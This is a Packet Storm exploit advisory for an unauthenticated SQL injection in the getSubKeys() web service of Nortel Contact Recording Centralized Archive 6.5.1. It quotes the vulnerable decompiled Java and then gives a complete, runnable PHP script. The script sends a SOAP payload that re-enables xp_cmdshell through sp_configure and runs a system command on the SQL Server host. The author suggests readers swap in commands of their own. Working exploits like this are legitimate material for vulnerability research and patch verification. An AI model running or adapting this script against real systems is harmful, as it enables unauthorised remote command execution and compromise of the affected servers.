Nortel Contact Recording Centralized Archive 6.5.1 SQL Injection

2011-09-15T00:00:00
ID PACKETSTORM:105146
Type packetstorm
Reporter rgod
Modified 2011-09-15T00:00:00

Description

                                        
                                            `<?php  
/*  
Nortel Contact Recording Centralized Archive 6.5.1 EyrAPIConfiguration   
Web Service getSubKeys() Remote SQL Injection Exploit  
  
tested against:  
Microsoft Windows Server 2003 r2 sp2  
Microsoft SQL Server 2005 Express  
  
download uri:  
ftp://ftp.avaya.com/incoming/Up1cku9/tsoweb/web1/software/c/contactcenter/crqm/6_5_CS1K_2/Nortel-DVD3-Archive-6_5.iso  
  
background:  
  
This software installs a Tomcat http server which listens on  
port 8080 for incoming connections. It exposes the  
following servlet as declared inside  
c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\web.xml :  
  
..  
<servlet-mapping>  
<servlet-name>EyrAPIConfiguration</servlet-name>  
<url-pattern>/EyrAPIConfiguration/*</url-pattern>  
</servlet-mapping>  
..  
  
at the following url:  
  
http://[host]:8080/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIf  
  
  
Vulnerability:  
  
without prior authentication, you can reach a web service  
with various methods availiable, as described inside  
the associated wsdl, see file:  
  
c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\classes\EyrAPIConfiguration.wsdl   
  
among them, the getSubKeys() method.  
  
Now look at getSubKeys() inside the decompiled  
c:\Program Files\[choosen folder]\Tomcat5\webapps\EyrAPI\WEB-INF\classes\com\eyretel\eyrapi\EyrAPIConfigurationImpl.class  
  
:  
..  
public String getSubKeys(boolean iterateSubKeys, boolean includeValues, String systemId, String componentId, String sysCompId, String userName)  
throws RemoteException  
{  
StringBuffer xml;  
ConfigOwnerId configOwnerId;  
Connection conn;  
PreparedStatement pStmt;  
ResultSet rs;  
PreparedStatement pStmt2;  
ResultSet rs2;  
log.info((new StringBuilder()).append("Request getSubKeys: iterateSubKeys=").append(iterateSubKeys).append(", includeValues=").append(includeValues).append(", SystemId=").append(systemId).append(", componentId=").append(componentId).append(", sysCompId=").append(sysCompId).append(", userName=").append(userName).toString());  
xml = new StringBuffer("<ConfigurationNodeList>");  
configOwnerId = null;  
conn = null;  
pStmt = null;  
rs = null;  
pStmt2 = null;  
rs2 = null;  
try  
{  
conn = SiteDatabase.getInstance().getConnection();  
if(EyrAPIProperties.getInstance().getProperty("database", "MSSQLServer").equalsIgnoreCase("Oracle"))  
{  
if(componentId.compareToIgnoreCase("") == 0)  
componentId = "*";  
if(systemId.compareToIgnoreCase("") == 0)  
systemId = "*";  
if(sysCompId.compareToIgnoreCase("") == 0)  
sysCompId = "*";  
if(userName.compareToIgnoreCase("") == 0)  
userName = "*";  
pStmt = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigOwnerID FROM ConfigOwnerView WHERE nvl(ComponentID, '*') = '").append(componentId).append("' AND ").append("nvl(SystemID, '*') = '").append(systemId).append("' AND ").append("nvl(SysCompID, '*') = '").append(sysCompId).append("' AND ").append("nvl(UserName, '*') = '").append(userName).append("'").toString());  
rs = pStmt.executeQuery();  
} else  
{  
pStmt = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigOwnerID FROM ConfigOwnerView WHERE ISNULL(CONVERT(varchar(36), ComponentID), '') = '").append(unpunctuate(componentId)).append("' AND ").append("ISNULL(CONVERT(varchar(36), SystemID), '') = '").append(unpunctuate(systemId)).append("' AND ").append("ISNULL(CONVERT(varchar(36), SysCompID), '') = '").append(unpunctuate(sysCompId)).append("' AND ").append("ISNULL(UserName, '') = '").append(unpunctuate(userName)).append("'").toString());  
rs = pStmt.executeQuery();  
}  
if(rs.next())  
{  
String strConfigOwnerId = rs.getString(1);  
if(!rs.wasNull())  
configOwnerId = new ConfigOwnerId(strConfigOwnerId);  
pStmt2 = conn.prepareStatement((new StringBuilder()).append("SELECT ConfigGroupID, ConfigGroupName FROM ConfigGroupView WHERE ConfigOwnerID = '").append(configOwnerId.toString()).append("'").toString());  
for(rs2 = pStmt2.executeQuery(); rs2.next(); xml.append(getSubKeyValuesInc(new Integer(rs2.getInt(1)), iterateSubKeys, includeValues)));  
}  
}  
catch(SQLException e)  
{  
String msg = "Unable to get subkeys";  
log.error(msg, e);  
throw new RemoteException(msg, e);  
}  
catch(GenericDatabaseException e)  
{  
String msg = "Unable to get subkeys";  
log.error(msg, e);  
throw new RemoteException(msg, e);  
}  
DbHelper.closeStatement(log, pStmt);  
DbHelper.closeResultSet(log, rs);  
DbHelper.closeStatement(log, pStmt2);  
DbHelper.closeResultSet(log, rs2);  
DbHelper.closeConnection(log, conn);  
break MISSING_BLOCK_LABEL_646;  
Exception exception;  
exception;  
DbHelper.closeStatement(log, pStmt);  
DbHelper.closeResultSet(log, rs);  
DbHelper.closeStatement(log, pStmt2);  
DbHelper.closeResultSet(log, rs2);  
DbHelper.closeConnection(log, conn);  
throw exception;  
xml.append("\n</ConfigurationNodeList>");  
log.info((new StringBuilder()).append("Response createKey= ").append(xml).toString());  
return xml.toString();  
}  
..  
  
This function uses unproperly the prepareStatement() function, a SELECT query is concatenated  
inside of it and using user supplied values.  
  
Note also that the unpunctuate() function is unuseful to clean the passed values:  
  
..  
protected String unpunctuate(String id)  
{  
StringBuffer sb = new StringBuffer(id);  
try  
{  
if(sb.charAt(0) == '{')  
sb.deleteCharAt(0);  
}  
catch(StringIndexOutOfBoundsException e) { }  
try  
{  
if(sb.charAt(36) == '}')  
sb.deleteCharAt(36);  
}  
catch(StringIndexOutOfBoundsException e) { }  
return sb.toString();  
}  
..  
  
As result, a remote attacker can send a SOAP message against port 8080 containing the   
getSubKeys string to execute arbitrary sql commands against the   
underlying database.  
  
The following code tries to execute calc.exe (if the xp_cmdshell stored procedure  
is not enabled, it will try to reenable it via 'sp_configure', assuming you have  
the privileges of the 'sa' user), otherwise use your imagination.  
  
Note: Reportedly, this product is end of sale ... so it's better you are aware of  
it just in case you have an online installation exposed to user input :)  
  
rgod  
*/  
error_reporting(E_ALL ^ E_NOTICE);   
set_time_limit(0);  
  
$err[0] = "[!] This script is intended to be launched from the cli!";  
$err[1] = "[!] You need the curl extesion loaded!";  
  
if (php_sapi_name() <> "cli") {  
die($err[0]);  
}  
  
function syntax() {  
print("usage: php 9sg_nortel.php [ip_address]\r\n" );  
die();  
}  
  
$argv[1] ? print("[*] Attacking...\n") :  
syntax();  
  
if (!extension_loaded('curl')) {  
$win = (strtoupper(substr(PHP_OS, 0, 3)) === 'WIN') ? true :  
false;  
if ($win) {  
!dl("php_curl.dll") ? die($err[1]) :  
print("[*] curl loaded\n");  
} else {  
!dl("php_curl.so") ? die($err[1]) :  
print("[*] curl loaded\n");  
}  
}  
  
function _s($url, $is_post, $ck, $request) {  
global $_use_proxy, $proxy_host, $proxy_port;  
$ch = curl_init();  
curl_setopt($ch, CURLOPT_URL, $url);  
if ($is_post) {  
curl_setopt($ch, CURLOPT_POST, 1);  
curl_setopt($ch, CURLOPT_POSTFIELDS, $request);  
}  
curl_setopt($ch, CURLOPT_HEADER, 1);  
curl_setopt($ch, CURLOPT_HTTPHEADER, array(  
"Cookie: ".$ck ,  
"Content-Type: text/xml"  
  
  
));   
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);  
curl_setopt($ch, CURLOPT_USERAGENT, "");  
curl_setopt($ch, CURLOPT_TIMEOUT, 0);  
  
if ($_use_proxy) {  
curl_setopt($ch, CURLOPT_PROXY, $proxy_host.":".$proxy_port);  
}  
$_d = curl_exec($ch);  
if (curl_errno($ch)) {  
//die("[!] ".curl_error($ch)."\n");  
} else {  
curl_close($ch);  
}  
return $_d;  
}  
$host = $argv[1];  
$port = 8080;  
  
print("[*] Check for spawned calc.exe sub process.\n");  
$sql="'; ".  
"EXEC sp_configure 'show advanced options',1;RECONFIGURE;".  
"EXEC sp_configure 'xp_cmdshell',1;RECONFIGURE;".  
"EXEC xp_cmdshell 'calc';--";  
$soap='<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:wsdl="http://com.eyretel.eyrapi.org/wsdl">  
<soapenv:Header/>  
<soapenv:Body>  
<wsdl:getSubKeys soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">  
<boolean_1 xsi:type="xsd:boolean">true</boolean_1>  
<boolean_2 xsi:type="xsd:boolean">true</boolean_2>  
<String_3 xsi:type="xsd:string">'.$sql.'</String_3>  
<String_4 xsi:type="xsd:string">yyyy</String_4>  
<String_5 xsi:type="xsd:string">zzzz</String_5>  
<String_6 xsi:type="xsd:string">kkkk</String_6>  
</wsdl:getSubKeys>  
</soapenv:Body>  
</soapenv:Envelope>';  
$url = "http://$host:$port/EyrAPI/EyrAPIConfiguration/EyrAPIConfigurationIf";  
$out = _s($url, 1, "", $soap);  
print($out."\n");  
print("[*] Done.");  
?>  
  
original url: http://retrogod.altervista.org/9sg_nortel.html  
`